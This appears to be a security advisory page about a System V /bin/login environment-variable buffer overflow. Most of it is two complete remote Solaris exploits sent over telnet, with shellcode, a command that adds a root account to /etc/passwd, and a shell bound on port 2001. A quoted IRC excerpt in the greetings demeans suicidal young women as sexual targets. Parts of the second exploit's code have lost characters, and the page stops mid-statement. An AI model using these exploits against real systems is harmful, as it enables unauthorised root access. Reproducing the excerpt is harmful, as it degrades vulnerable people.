|
COMMAND login buffer overflow SYSTEMS AFFECTED All unixes SYSTEM V based login process such as : SuSE 6.1 Slackware 8.0 and lower [tested with 8.0, 4.0, 3.3] ... Not vulnerable : RedHat Caldera PROBLEM Multiple reports confirm the existence of a buffer overflow in the login process due to a bad parsing of environment variables, that are set when calling login from telnet or rlogin. Explanation by Roman Drahtmueller and \"pof\" : ============================================= The login programs in SuSE 6.0 and 6.1 gladly pass on environment specified as silence login: draht variable=value Password: up to a maximum number of 32 variables. If the args to the user name do not contain a \"=\" character, the arguments will show up in the environment as $L1, $L2, ... where arguments are seperated by whitespace and \",\". An overflow does not happen, or please prove me wrong. Check the diff below : /* * This is a disaster, at best. The user may have entered extra * environmental variables at the prompt. There are several ways * to do this, and I just take the easy way out. */ if (*cp != \'\\0\') { /* process new variables */ char *nvar; int count = 1; for (envc = 0; envc < MAX_ENV; envc++) { nvar = strtok(envc ? (char *)0 : cp, \" \\t,\"); if (!nvar) break; if (strchr(nvar, \'=\')) { envp[envc] = nvar; } else { envp[envc] = xmalloc(strlen(nvar) + 32); sprintf(envp[envc], \"L%d=%s\", count++, nvar); } } set_env(envc, envp); } Update ====== Solaris Exploit by mat [http://monkey.org/~mat/] : /* * 2001.11.26 * Solaris x86 2.8 * /bin/login remote exploit * it works for telnet * This code so many fixed addresses,so it may not work on other systems... * Author: mat@monkey.org (JW. Oh) * No warranty! Use at your own risk! And don\'t ask me anything!!! * change exec_argv3 value to execute your own command * and use ip address instead of hostname for argv[0] * updated 2001.11.26. * added if you installed solaris x86 full package uncomment X86_FULL_PACKAGE end-user 0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS 0x080667b0->0x080689d4 at 0x000067b0: .bss ALLOC full users 0x080654e0->0x080656b8 at 0x000054e0: .got ALLOC LOAD DATA HAS_CONTENTS 0x080667b8->0x080689dc at 0x000067b8: .bss ALLOC if your system is not exploited with this exploit, try dump sections with gdb...and compare the .got,.bss section values... */ //#define X86_FULL_PACKAGE #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <unistd.h> #include <stdlib.h> void dump_hex(char *str,char *data,int len) { int i; if(str) { printf(\"\\n=======%s:%d========\\n\",str,len); }else{ printf(\"\\n=======================\\n\"); } for(i=0;i<len;i++) { printf(\"x%.2x\",(data[i]&0xff)); } printf(\"\\n-----------------------\\n\"); for(i=0;i<len;i++) { if(data[i]==0x00) { printf(\"|\"); }else { printf(\"%c\",data[i]); } } printf(\"\\n\"); fflush(stdout); } int send_data(int sock,const char *send_data,int send_len) { int wc; int rc; char recv_buf[1000]; if(send_data && send_len>0) { wc=send(sock,send_data,send_len,0); } rc=recv(sock,recv_buf,sizeof(recv_buf),0); if(rc>0) { dump_hex(\"recv\",recv_buf,rc); } } void main(int argc,char *argv[]) { int sock; struct sockaddr_in address; int i; char send_data_1[]={ 0xff,0xfd,0x03, 0xff,0xfb,0x18, 0xff,0xfb,0x1f, 0xff,0xfb,0x20, 0xff,0xfb,0x21, 0xff,0xfb,0x22, 0xff,0xfb,0x27, 0xff,0xfd,0x05, 0xff,0xfb,0x23 }; char send_data_2[]={ 0xff,0xfa,0x1f,0x00,0x50,0x00,0x18, 0xff,0xf0, 0xff,0xfc,0x24 }; char send_data_3[]={ 0xff,0xfd,0x01, 0xff,0xfc,0x01 }; char str_buffer[1024*30]; int str_buffer_pos=0; char str_end[2]={0xd,0x0}; char *env_str; int env_str_len; char env_1[4]={0xff,0xfa,0x18,0x00}; char *terminal_name=\"xterm-debian\"; char env_2[6]={0xff,0xf0,0xff,0xfa,0x23,0x00}; char *display=\"matter:0.0\"; char env_3[7]={0xff,0xf0,0xff,0xfa,0x27,0x00,0x00}; char *display_var=\"DISPlAY\"; char display_delimiter[1]={0x01}; char *display_value=\"matter:0.0\"; char *environ_str; int environ_str_len; int env_cur_pos=0; int env_num; char env_4[2]={0xff,0xf0}; char exploit_buffer[]=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\\\\r\\n\"; char login_buffer[]= \"ji1=A ji2=A ji3=A ji4=A ji5=A ji6=A ji7=A ji8=A ji9=Z ji10=z\\\\\\r\\n\\ ji11=B ji12=A ji13=A ji14=b ji15=A ji16=A ji17=A ji18=A ji19=B ji20=b\\\\\\r\\n\\ ji21=C ji22=A ji23=A ji24=c ji25=A ji26=A ji27=A ji28=A ji29=C ji30=c\\\\\\r\\n\\ ji32=D ji32=A ji33=A ji34=d ji35=A ji36=A ji37=A ji38=A ji39=D ji40=d\\\\\\r\\n\\ ji41=E ji42=A ji43=A ji44=e j\"; char realfree_edx[]={0x83,0x83,0x83,0x83}; //0xdf9d6361 <realfree+81>: test $0x1,%dl¸¦ ³Ñ±â±â À§Çؼ char login_buffer1[]=\"=A j\"; #ifdef X86_FULL_PACKAGE char t_delete_edi_plus_0x8[]={0x2f,0x80,0x06,0x08}; #else char t_delete_edi_plus_0x8[]={0x27,0x80,0x06,0x08}; #endif char t_delete_edi_plus_0xa[]=\"=A j\"; char t_delete_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff}; char login_buffer1_0[]=\"=A ji48=A j \"; #ifdef X86_FULL_PACKAGE char t_delete_edi_plus_0x20[]={0xf0,0x55,0x6,0x08}; #else char t_delete_edi_plus_0x20[]={0xe8,0x55,0x6,0x08}; #endif char login_buffer1_1[]=\"=\\\\\\r\\n\\ ji51=F ji52=A ji53=A ji54=f ji55=A ji56=A j=iheol i58=\"; #ifdef X86_FULL_PACKAGE char t_delete2_param1[]={0x29,0x80,0x06,0x08}; #else char t_delete2_param1[]={0x21,0x80,0x06,0x08}; #endif char login_buffer1_2[]=\" 6=8\"; char link_pos[]={0x97,0xff,0xff,0xff,0xff,0xff,0xff}; //ù¹ø° A -1 ÀÓ char login_buffer2[]=\"A=AB\"; // 0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS //0x80655a4 <_GLOBAL_OFFSET_TABLE_+208>: 0xdf9bd0b8 <strncpy> //(gdb) print/x 0x80655a4 - 0x20 //$1 = 0x8065584 #ifdef X86_FULL_PACKAGE char t_delete2_edi_plus_0x8[]={0x90,0x55,0x06,0x08}; //strncpy-0x20,ecx #else char t_delete2_edi_plus_0x8[]={0x84,0x55,0x06,0x08}; //strncpy-0x20,ecx #endif char login_buffer2_0[]=\"GHIJ\"; char t_delete2_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff}; char login_buffer2_1[]=\"OPQRSTUVWXYZ\"; //0x806810d <inputline+780>: \'A\' <repeats 82 times>, \"\\n\" #ifdef X86_FULL_PACKAGE char t_delete2_edi_plus_0x20[]={0x06,0x81,0x06,0x08}; //shellcode,eax #else char t_delete2_edi_plus_0x20[]={0xfe,0x80,0x06,0x08}; //shellcode,eax #endif //0x8067e01 <inputline>: \"heowahfoihewobhfoiewhiofhoewhofhoeiwhofwhofhiewwhfoiew char login_buffer2_2[]=\"efghijklmnopqrstuvwxyz0123456789A\\\\\\r\\n\\ jk11=A jm21=C nj31=A jo41=A pi51=A jq61=A jr71=A js81=g jt91=A ju01=A jv11=A jw21=B jy\";//31=A z\";//4=A k2=A k3=A k\"; #ifdef X86_FULL_PACKAGE //char strncpy_src[]={0xf9,0x3b,0x05,0x08}; char strncpy_src[]={0x31,0x80,0x06,0x08}; #else char strncpy_src[]={0xf1,0x3b,0x05,0x08}; #endif char env_buffer[]=\"hi1=A hi2=A hi3=A hi\"; char pam_input_output_eax[]={0x48,0x8a,0x06,0x08}; //0x8068a48 char env_buffer0[]=\"hi5=A hi6=A hi7=A hi\"; #ifdef X86_FULL_PACKAGE char free_dest_buffer[]={0x31,0x80,0x06,0x08}; #else char free_dest_buffer[]={0x29,0x80,0x06,0x08}; #endif char env_buffer2[]=\"zi9=\"; #ifdef X86_FULL_PACKAGE char free_dest_buffer2[]={0x31,0x80,0x06,0x08}; #else char free_dest_buffer2[]={0x29,0x80,0x06,0x08}; #endif char exp_buffer0[]=\"hello\"; char jmp_code[]={0xeb,0xc}; char exp_buffer1[]=\"\\\\\\r\\nhhhhhhhhhhh\"; char shellcode[]= { 0xeb,0x1d, 0x5e, /*popl %esi*/ 0x33,0xc0, /*xorl %eax,%eax*/ 0x50, /*pushl %eax - ,0x0*/ #ifdef X86_FULL_PACKAGE 0x68,0x46,0x81,0x06,0x08, 0x68,0x43,0x81,0x06,0x08, 0x68,0x40,0x81,0x06,0x08, 0x68,0x38,0x81,0x06,0x08, #else 0x68,0x3e,0x81,0x06,0x08, 0x68,0x3b,0x81,0x06,0x08, 0x68,0x38,0x81,0x06,0x08, 0x68,0x30,0x81,0x06,0x08, #endif #ifdef X86_FULL_PACKAGE 0xe8,0x25,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/ #else 0xe8,0x2e,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/ #endif 0xe8,0xde,0xff,0xff,0xff,0xff,0xff,0xff /*call again*/ }; char exec_argv0[]=\"/bin/sh\"; char exec_argv1[]=\"sh\"; char exec_argv2[]=\"-c\"; char exec_argv3[]=\"/bin/echo met:x:0:1::/:/bin/sh>>/etc/passwd;\"; //\"/bin/echo met::11652::::::>>/etc/shadow;\"; //\"/bin/finger @210.111.69.137\"; //211.59.123.155\"; char extra_buffer[]=\"hihihiifhewiohfiowehfiohweiofhiowehfoihefe\\\\\\r\\n\"; #ifdef X86_FULL_PACKAGE char free_dest_buffer3[]={0x31,0x80,0x06,0x08}; #else char free_dest_buffer3[]={0x29,0x80,0x06,0x08}; #endif char env_buffer5[]=\"70=b \\\\\\r\\n\\ hr371=b hs372=\"; char pam_input_output_eax2[]={0xf5,0x3b,0x05,0x08}; char env_buffer5_0[]=\"473=\"; char pam_get_authtok_eax[]={0xf6,0x3b,0x05,0x08}; //0x8053bfa Àӽú¯Åë char pam_get_data_esi[]={0xa8,0xb1,0x06,0x08};//0x806b1a8 display=\"\"; terminal_name=\"\"; env_str_len= sizeof(env_1)+ strlen(terminal_name)+ sizeof(env_2)+ strlen(display)+ sizeof(env_3)+ strlen(display_var)+ sizeof(display_delimiter)+ strlen(display_value)+ sizeof(env_4); env_str=(char *)calloc(1,env_str_len); if(env_str) { env_cur_pos=0; memcpy(env_str+env_cur_pos,env_1,sizeof(env_1)); env_cur_pos+=sizeof(env_1); memcpy(env_str+env_cur_pos,terminal_name,strlen(terminal_name)); env_cur_pos+=strlen(terminal_name); memcpy(env_str+env_cur_pos,env_2,sizeof(env_2)); env_cur_pos+=sizeof(env_2); memcpy(env_str+env_cur_pos,display,strlen(display)); env_cur_pos+=strlen(display); memcpy(env_str+env_cur_pos,env_3,sizeof(env_3)); env_cur_pos+=sizeof(env_3); memcpy(env_str+env_cur_pos,display_var,strlen(display_var)); env_cur_pos+=strlen(display_var); memcpy(env_str+env_cur_pos,display_delimiter,sizeof(display_delimiter)); env_cur_pos+=sizeof(display_delimiter); memcpy(env_str+env_cur_pos,display_value,strlen(display_value)); env_cur_pos+=strlen(display_value); memcpy(env_str+env_cur_pos,env_4,sizeof(env_4)); env_cur_pos+=sizeof(env_4); } /*socket operation*/ sock=socket(AF_INET,SOCK_STREAM,0); if(sock<0) { return; } address.sin_family=AF_INET; address.sin_port=htons(23); //inet_pton(AF_INET,argv[1],&address.sin_addr); //on some system no inet_pton exists address.sin_addr.s_addr=inet_addr(argv[1]); if(connect(sock,(struct sockaddr *)&address,sizeof(address))<0) { return; } send_data(sock,NULL,0); send_data(sock,send_data_1,sizeof(send_data_1)); send_data(sock,send_data_2,sizeof(send_data_2)); //dump_hex(\"env\",env_str,env_cur_pos); send_data(sock,env_str,env_cur_pos); free(env_str); send_data(sock,send_data_3,sizeof(send_data_3)); str_buffer_pos=0; memcpy(str_buffer+str_buffer_pos,exploit_buffer,strlen(exploit_buffer)); str_buffer_pos+=strlen(exploit_buffer); strcpy(str_buffer+str_buffer_pos,login_buffer); str_buffer_pos+=strlen(login_buffer); memcpy(str_buffer+str_buffer_pos,realfree_edx,sizeof(realfree_edx)); str_buffer_pos+=sizeof(realfree_edx); strcpy(str_buffer+str_buffer_pos,login_buffer1); str_buffer_pos+=strlen(login_buffer1); memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x8,sizeof(t_delete_edi_plus_0x8)); str_buffer_pos+=sizeof(t_delete_edi_plus_0x8); memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0xa,strlen(t_delete_edi_plus_0xa)); str_buffer_pos+=strlen(t_delete_edi_plus_0xa); memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x10,sizeof(t_delete_edi_plus_0x10)); str_buffer_pos+=sizeof(t_delete_edi_plus_0x10); strcpy(str_buffer+str_buffer_pos,login_buffer1_0); str_buffer_pos+=strlen(login_buffer1_0); memcpy(str_buffer+str_buffer_pos,t_delete_edi_plus_0x20,sizeof(t_delete_edi_plus_0x20)); str_buffer_pos+=sizeof(t_delete_edi_plus_0x20); strcpy(str_buffer+str_buffer_pos,login_buffer1_1); str_buffer_pos+=strlen(login_buffer1_1); memcpy(str_buffer+str_buffer_pos,t_delete2_param1,sizeof(t_delete2_param1)); str_buffer_pos+=sizeof(t_delete2_param1); strcpy(str_buffer+str_buffer_pos,login_buffer1_2); str_buffer_pos+=strlen(login_buffer1_2); memcpy(str_buffer+str_buffer_pos,link_pos,sizeof(link_pos)); str_buffer_pos+=sizeof(link_pos); strcpy(str_buffer+str_buffer_pos,login_buffer2); str_buffer_pos+=strlen(login_buffer2); memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x8,sizeof(t_delete2_edi_plus_0x8)); str_buffer_pos+=sizeof(t_delete2_edi_plus_0x8); strcpy(str_buffer+str_buffer_pos,login_buffer2_0); str_buffer_pos+=strlen(login_buffer2_0); memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x10,sizeof(t_delete2_edi_plus_0x10)); str_buffer_pos+=sizeof(t_delete2_edi_plus_0x10); strcpy(str_buffer+str_buffer_pos,login_buffer2_1); str_buffer_pos+=strlen(login_buffer2_1); memcpy(str_buffer+str_buffer_pos,t_delete2_edi_plus_0x20,sizeof(t_delete2_edi_plus_0x20)); str_buffer_pos+=sizeof(t_delete2_edi_plus_0x20); strcpy(str_buffer+str_buffer_pos,login_buffer2_2); str_buffer_pos+=strlen(login_buffer2_2); memcpy(str_buffer+str_buffer_pos,strncpy_src,sizeof(strncpy_src)); str_buffer_pos+=sizeof(strncpy_src); memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer)); str_buffer_pos+=strlen(env_buffer); memcpy(str_buffer+str_buffer_pos,pam_input_output_eax,sizeof(pam_input_output_eax)); str_buffer_pos+=sizeof(pam_input_output_eax); memcpy(str_buffer+str_buffer_pos,env_buffer,strlen(env_buffer0)); str_buffer_pos+=strlen(env_buffer0); memcpy(str_buffer+str_buffer_pos,free_dest_buffer,sizeof(free_dest_buffer)); str_buffer_pos+=sizeof(free_dest_buffer); memcpy(str_buffer+str_buffer_pos,env_buffer2,strlen(env_buffer2)); str_buffer_pos+=strlen(env_buffer2); memcpy(str_buffer+str_buffer_pos,free_dest_buffer2,sizeof(free_dest_buffer2)); str_buffer_pos+=sizeof(free_dest_buffer2); strcpy(str_buffer+str_buffer_pos,exp_buffer0); str_buffer_pos+=strlen(exp_buffer0); memcpy(str_buffer+str_buffer_pos,jmp_code,sizeof(jmp_code)); str_buffer_pos+=sizeof(jmp_code); strcpy(str_buffer+str_buffer_pos,exp_buffer1); str_buffer_pos+=strlen(exp_buffer1); memcpy(str_buffer+str_buffer_pos,shellcode,sizeof(shellcode)); str_buffer_pos+=sizeof(shellcode); strcpy(str_buffer+str_buffer_pos,exec_argv0); str_buffer_pos+=strlen(exec_argv0)+1; strcpy(str_buffer+str_buffer_pos,exec_argv1); str_buffer_pos+=strlen(exec_argv1)+1; strcpy(str_buffer+str_buffer_pos,exec_argv2); str_buffer_pos+=strlen(exec_argv2)+1; strcpy(str_buffer+str_buffer_pos,exec_argv3); str_buffer_pos+=strlen(exec_argv3)+1; memcpy(str_buffer+str_buffer_pos,str_end,strlen(str_end)); str_buffer_pos+=strlen(str_end); { char buf[100]; fgets(buf,100,stdin); } printf(\"sending login!\\n\"); fflush(stdout); send_data(sock,str_buffer,str_buffer_pos); send_data(sock,NULL,0); printf(\"\\n\\n\\npress return to send password\\n...\"); { char buf[100]; fgets(buf,100,stdin); } send_data(sock,str_buffer,strlen(str_buffer)+1); printf(\"\\n\\n\\nwaiting for the realfree & t_delete to be called!\\n...\\n\\n\"); fflush(stdout); sleep(30); } Update (19 March 2002) ====== Solaris exploit : /* Solaris /bin/login array mismangement exploit by morgan@sexter.com compile: use -DSOLARIS if your running it on a big endian system.... friendly advice to find that special someone: [ronin(ronin@segfault.net)] think if i make \'the lonely hearts club\' at college... [ronin(ronin@segfault.net)] it\'ll have a psych. effect on chicks? [msg(ronin)] you\'d get all the suicidal chicks [ronin(ronin@segfault.net)] they have like clubs and shit... chess clubs, sport, rollerblading, etc. [ronin(ronin@segfault.net)] u can make ur own [msg(ronin)] yah.. most schools do [ronin(ronin@segfault.net)] they should be the best in bed [ronin(ronin@segfault.net)] cuz of how vulnerable they are to suggestion [ronin(ronin@segfault.net)] and all that angst [msg(ronin)] always thinking [ronin(ronin@segfault.net)] can be harnessed for sexual gratification [msg(ronin)] your a quite a sexual trickster [ronin(ronin@segfault.net)] plus [ronin(ronin@segfault.net)] suicidal pain [ronin(ronin@segfault.net)] pain bdsm [ronin(ronin@segfault.net)] happy go lucky chicks are too content in bed [msg(ronin)] /me wanders off slowly [ronin(ronin@segfault.net)] but suicidal chicks like to cover the full spectrum of pain [ronin(ronin@segfault.net)] and pain and pleasure are one greets: matthew, pioneering the pinkhat movement... ryan&drago, reading telnet rfcs for me.. ron1n, OMG! You\'re in school now!@#$! The metaray, level 6 on everquest now! blueboar, for his exquisite mailing list.. antisec for being so darn hackerifically ethical... keep up the faith and arcanum the aim sexual predator... */ #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <string.h> #include <errno.h> #include <netinet/in.h> #include <netdb.h> #include <arpa/inet.h> #include <arpa/telnet.h> #define NOPS 8 struct { char *name; unsigned long reta; unsigned long retl; }targets[] { { \"SunOS 5.7... local\", 0xffbef85c, 0x20026fc8}, { \"SunOS 5.7... remote\", 0xffbef8bc, 0x20026fc8}, { \"SunOS 5,7... remote 2\", 0xffbef824, 0x20026fc8}, { NULL, 0, 0 } }; unsigned char shellcode[] /* dopesquad.net shellcode + 8 nop bytes */ \"\\x10\\x80\\x00\\x03\" /* b foolabel */ \"\\x90\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o0 */ /* OVERWRITE */ \"\\x82\\x10\\x20\\x17\" /* mov 23, %g1 */ \"\\xa0\\x23\\xa0\\x10\" /* sub %sp, 16, %l0 */ \"\\xae\\x23\\x80\\x10\" /* sub %sp, %l0, %l7 */ \"\\xee\\x23\\xbf\\xec\" /* st %l7, [%sp - 20] */ \"\\x82\\x05\\xe0\\xd6\" /* add %l7, 214, %g1 */ \"\\x90\\x25\\xe0\\x0e\" /* sub %l7, 14, %o0 */ \"\\x92\\x25\\xe0\\x0e\" /* sub %l7, 14, %o1 */ \"\\x94\\x1c\\x40\\x11\" /* xor %l1, %l1, %o2 */ \"\\x96\\x1c\\x40\\x11\" /* xor %l1, %l1, %o3 */ \"\\x98\\x25\\xe0\\x0f\" /* sub %l7, 15, %o4 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ \"\\xa4\\x1a\\x80\\x08\" /* xor %o2, %o0, %l2 */ \"\\xd2\\x33\\xbf\\xf0\" /* sth %o1, [%sp - 16] */ \"\\xac\\x10\\x27\\xd1\" /* mov 2001, %l6 */ \"\\xec\\x33\\xbf\\xf2\" /* sth %l6, [%sp - 14] */ \"\\xc0\\x23\\xbf\\xf4\" /* st %g0, [%sp - 12] */ \"\\x82\\x05\\xe0\\xd8\" /* add %l7, 216, %g1 */ \"\\x90\\x1a\\xc0\\x12\" /* xor %o3, %l2, %o0 */ \"\\x92\\x1a\\xc0\\x10\" /* xor %o3, %l0, %o1 */ \"\\x94\\x1a\\xc0\\x17\" /* xor %o3, %l7, %o2 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ \"\\x82\\x05\\xe0\\xd9\" /* add %l7, 217, %g1 */ \"\\x90\\x1a\\xc0\\x12\" /* xor %o3, %l2, %o0 */ \"\\x92\\x25\\xe0\\x0b\" /* sub %l7, 11, %o1 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ \"\\x82\\x05\\xe0\\xda\" /* add %l7, 218, %g1 */ \"\\x90\\x1a\\xc0\\x12\" /* xor %o3, %l2, %o0 */ \"\\x92\\x1a\\xc0\\x10\" /* xor %o3, %l0, %o1 */ \"\\x94\\x23\\xa0\\x14\" /* sub %sp, 20, %o2 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ \"\\xa6\\x1a\\xc0\\x08\" /* xor %o3, %o0, %l3 */ \"\\x82\\x05\\xe0\\x2e\" /* add %l7, 46, %g1 */ \"\\x90\\x1a\\xc0\\x13\" /* xor %o3, %l3, %o0 */ \"\\x92\\x25\\xe0\\x07\" /* sub %l7, 7, %o1 */ \"\\x94\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o2 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ \"\\x90\\x1a\\xc0\\x13\" /* xor %o3, %l3, %o0 */ \"\\x92\\x25\\xe0\\x07\" /* sub %l7, 7, %o1 */ \"\\x94\\x02\\xe0\\x01\" /* add %o3, 1, %o2 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ \"\\x90\\x1a\\xc0\\x13\" /* xor %o3, %l3, %o0 */ \"\\x92\\x25\\xe0\\x07\" /* sub %l7, 7, %o1 */ \"\\x94\\x02\\xe0\\x02\" /* add %o3, 2, %o2 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ \"\\x90\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o0 */ \"\\x82\\x02\\xe0\\x17\" /* add %o3, 23, %g1 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ \"\\x21\\x0b\\xd8\\x9a\" /* sethi %hi(0x2f626800), %l0 */ \"\\xa0\\x14\\x21\\x6e\" /* or %l0, 0x16e, %l0 ! 0x2f62696e */ \"\\x23\\x0b\\xdc\\xda\" /* sethi %hi(0x2f736800), %l1 */ \"\\x90\\x23\\xa0\\x10\" /* sub %sp, 16, %o0 */ \"\\x92\\x23\\xa0\\x08\" /* sub %sp, 8, %o1 */ \"\\x94\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o2 */ \"\\xe0\\x3b\\xbf\\xf0\" /* std %l0, [%sp - 16] */ \"\\xd0\\x23\\xbf\\xf8\" /* st %o0, [%sp - 8] */ \"\\xc0\\x23\\xbf\\xfc\" /* st %g0, [%sp - 4] */ \"\\x82\\x02\\xe0\\x3b\" /* add %o3, 59, %g1 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ \"\\x90\\x1b\\x80\\x0e\" /* xor %sp, %sp, %o0 */ \"\\x82\\x02\\xe0\\x01\" /* add %o3, 1, %g1 */ \"\\x91\\xd0\\x38\\x08\" /* ta 0x8 */ ; static char nop[]=\"\\x80\\x1c\\x40\\x11\"; void usage(char **argv) { int i; fprintf(stderr, \"Solaris /bin/login array mismangement exploit by morgan@sexter.com\\n\"); fprintf(stderr, \"usage: %s <host>\\n\", argv[0]); fprintf(stderr, \"\\t-r <return address>\\n\"); fprintf(stderr, \"\\t-l <return location>\\n\"); fprintf(stderr, \"\\t-p <port>\\n\"); fprintf(stderr, \"\\t-t <target number>\\n\"); fprintf(stderr, \"\\t-e [for local /bin/login execution mode check for +s]\\n\"); fprintf(stderr, \"\\t%s -e <options> | /bin/login\\n\", argv[0]); fprintf(stderr, \"\\t-b brute force mode\\n\\n\"); fprintf(stderr, \"targets are...\\n\"); for(i=0; targets[i].name; i++) fprintf(stderr, \"\\t%d) %s\\n\", i, targets[i].name); fprintf(stderr, \"\\n\"); exit(0); } void die(char *error) { fprintf(stderr, \"Error: %s\\n\", error); fprintf(stderr, \"Program aborting..\\n\"); exit(0); } void shift(unsigned long *addr) { unsigned long tmp; tmp *addr >> 24; tmp += *addr << 8 >> 24 << 8; tmp += *addr << 16 >> 24 << 16; tmp += *addr << 24; *addr tmp; return; } int write_with_iac(int fd, char *buff, int s) { int i; unsigned char c=0, pt; for (i=0; i<s; i++) { c=(unsigned char)buff[i]; if (c=0xff) if(write(fd, &c, 1) < 0) die(\"Write failed sending IAC\"); if(write(fd, &c, 1)<0) die(\"Write failed sending user string\"); } } void send_ww(int fd, unsigned char arg, int a) { char buf[3]; char *p=buf; *p++ IAC; if(a= WILL) *p++ WILL; else if(a= WONT) *p++ WONT; else { fprintf(stderr, \"illegal send, %d is not a valid send type\\n\", a); exit(0); } *p arg; write(fd, buf, 3); return; } int connect_shell(char *host, int port) { struct sockaddr_in s; int sock; struct hostent *h; unsigned char c; char commands[] \"cd /; echo; uname -a; id ;echo; \" \"echo Mommy wow.. im a hacker now; echo ;\\n\\n\"; char buf[2048]; fd_set fds; int r; s.sin_family AF_INET; s.sin_port htons(port); s.sin_addr.s_addr inet_addr(host); if ((h=gethostbyname(host))= NULL) { fprintf(stderr, \"cannot resolve: %s : %s\\n\", host, strerror(errno)); return -1; } memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr, sizeof(h->h_addr)); if ( (sock socket (AF_INET, SOCK_STREAM, 0))= -1) return sock; if (connect (sock, (struct sockaddr *)&s, sizeof(s))= -1) { close (sock); return -1; } write(sock, commands, strlen(commands)); for(;;) { FD_ZERO(&fds); FD_SET(fileno(stdin), &fds); FD_SET(sock, &fds); select(255, &fds, NULL, NULL, NULL); if(FD_ISSET(sock, &fds)) { memset(buf, 0x0, sizeof(buf)); r read (sock, buf, sizeof(buf) - 1); if(r <= 0) { fprintf(stderr, \"Connection closed.\\n\"); exit(0); } fprintf(stderr, \"%s\", buf); } if(FD_ISSET(fileno(stdin), &fds)) { memset(buf, 0x0, sizeof(buf)); read(fileno(stdin), buf, sizeof(buf) - 1); write(sock, buf, strlen(buf)); } } return sock; } int do_telnet_negotation(char *host, int port) { struct sockaddr_in s; int fd, ret; u_char c, buf[3]; struct hostent *h; s.sin_family AF_INET; s.sin_port htons(port); s.sin_addr.s_addr inet_addr(host); if ((h=gethostbyname(host))= NULL) { fprintf(stderr, \"cannot resolve: %s : %s\\n\", host, strerror(errno)); return -1; } memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr, sizeof(h->h_addr)); if ( (fd socket (AF_INET, SOCK_STREAM, 0))= -1) return fd; if (connect (fd, (struct sockaddr *)&s, sizeof(s))= -1) { close (fd); return -1; } // send DONT\'s for all the DO\'s... ;) send_ww(fd, TELOPT_TTYPE, WONT); send_ww(fd, TELOPT_NAWS, WONT); send_ww(fd, TELOPT_XDISPLOC, WONT); send_ww(fd, TELOPT_NEW_ENVIRON, WONT); send_ww(fd, TELOPT_OLD_ENVIRON, WONT); send_ww(fd, TELOPT_BINARY, WILL); return fd; } int setup_exploit(char *buffer, unsigned long retl, unsigned long reta, int bf) { int i,j; char *ptr; char buf[3000]; char blah[512]; unsigned long *a; unsigned long strncpy_addr 0xffbef2a8; unsigned long chunk_size 0xffffffd5; unsigned long chunk 0xfffffff0; unsigned long free_addr 0x20026eec; #ifndef SOLARIS shift(&strncpy_addr); shift(&chunk_size); shift(&chunk); shift(&free_addr); #endif fprintf(stderr, \"Solaris /bin/login array mismangement exploit by morgan@sexter.com\\n\"); fprintf(stderr, \"<matthew> I\'ve brought more terror to this network then Shdwknght to a chinese food buffet.\\n\\n\"); if(!bf) { fprintf(stderr, \"using %#x as return address\\n\", reta); fprintf(stderr, \"using %#x as return location\\n\", retl); } else fprintf(stderr, \"trying return address %#x\\n\", reta); memset(&buf[0], 0x41, 512); // SETUP FIRST CHUNK // size -44+1 ptr &buf[36]; memcpy(ptr, &chunk_size, 4); // SETUP CHUNK numbah 2 retl -= 32; reta -= 8; #ifndef SOLARIS shift(&retl); shift(&reta); #endif ptr buf; memcpy(ptr, &chunk, 4); // second addr free\'d memcpy(ptr+4, &free_addr, 4); memcpy(ptr+8, (void *)&retl, 4); memset(ptr+16, 0xff, 4); memcpy(ptr+32, (void *) &reta, 4); // fake chunk built.. setting up overflow.. for(i=0; i < 256; i++) { if( i < 63 || i > 190) blah[i] 0x41; else { blah[i++] 0x20; blah[i] 0x41; } } //free addr 1 send in addr of mem memcpy(blah+252, &free_addr, 4); memcpy(blah+204, &strncpy_addr, 4); blah[256] 0x00; // add shellcode to end of buf // pad with nops.. more is better... but not too many.. for(i=511-sizeof(shellcode)-2-4*NOPS; i < 511-sizeof(shellcode); i+=4) memcpy(&buf[i], nop, sizeof(nop)-1); memcpy(&buf[511-sizeof(shellcode)-2], shellcode, sizeof(shellcode)); // convert nulls to space.. for(i=0,j=0;i<511;i++) { if(buf[i]= 0x00) { buf[i] 0x20; j++; } } buf[511] 0x00; sprintf(buffer,\"%s%s\\n\", &blah,&buf); return; } int main(int argc, char **argv) { int fd,fd2, c, type, port=23,local=0,bf=0, remp=2001; char out[1024]; char in[24]; char ret[] \"\\x0a\"; char *host; unsigned char bshell 0xd5; char cc; unsigned long reta, retl; FILE *login; retl 